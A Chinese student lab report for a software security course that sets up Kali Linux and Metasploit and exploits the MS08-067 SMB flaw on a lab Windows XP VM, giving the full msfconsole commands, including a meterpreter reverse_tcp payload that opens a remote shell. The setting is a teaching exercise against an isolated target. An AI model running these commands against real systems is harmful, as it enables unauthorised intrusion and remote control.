软件安全实验三——实验报告
实验要求
使用渗透性测试工具 Metasploit 进行漏洞测试。实验内容如下。
1)安装并配置Kali(https://www.kali.org)。
2)从Kali 操作系统的终端初始化和启动Metasploit 工具。
3)使用 Metasploit 挖掘 MS08-067 等漏洞。
实验过程
一 安装并配置Kali
在Get Kali | Kali Linux中下载kali-linux-2024.3-vmware-amd64.7z并解压。
在VMware WorkStation中,点击“打开虚拟机”,选择刚刚下载的镜像。
启动虚拟机,输入账户密码(默认均为kali),进入桌面。
二 初始化和启动Metasploit 工具
通过以下命令设置和初始化 Metasploit 的数据库
1
2
3
4service --status-all
service postgresql start
service postgresql status
msfdb init然后启动 Metasploit 工具并检查db状态。
1
2msfconsole
msf6 > db_status
三 挖掘 MS08-067 等漏洞
准备靶机。
在VMware WorkStation中创建一个虚拟机,使用windows xp home edition镜像,按提示完成安装。
然后关闭系统防火墙。
打开命令行,输入
ipconfig
查看ip为:192.168.65.129。查看kali机的ip为192.168.65.130,并测试能否ping通windows机:
渗透攻击。
先输入
msfconsole
进入msf6终端:然后输入
search ms08_067
查看该漏洞:下面是要攻击的target:
输入
use exploit/windows/smb/ms08_067_netapi
加载该模块,然后输入show payloads
查看可用的攻击载荷。下面这个是需要的payload:
然后:
1
2
3
4
5set LHOST 192.168.65.130 # Kali虚拟机ip
set RHOST 192.168.65.129 # windows xp靶机ip
set payload windows/meterpreter/reverse_tcp
set target 34
show options输入
exploit
进行攻击:在输入
shell
进入靶机命令行:测试确实是windows靶机的ip:
成功!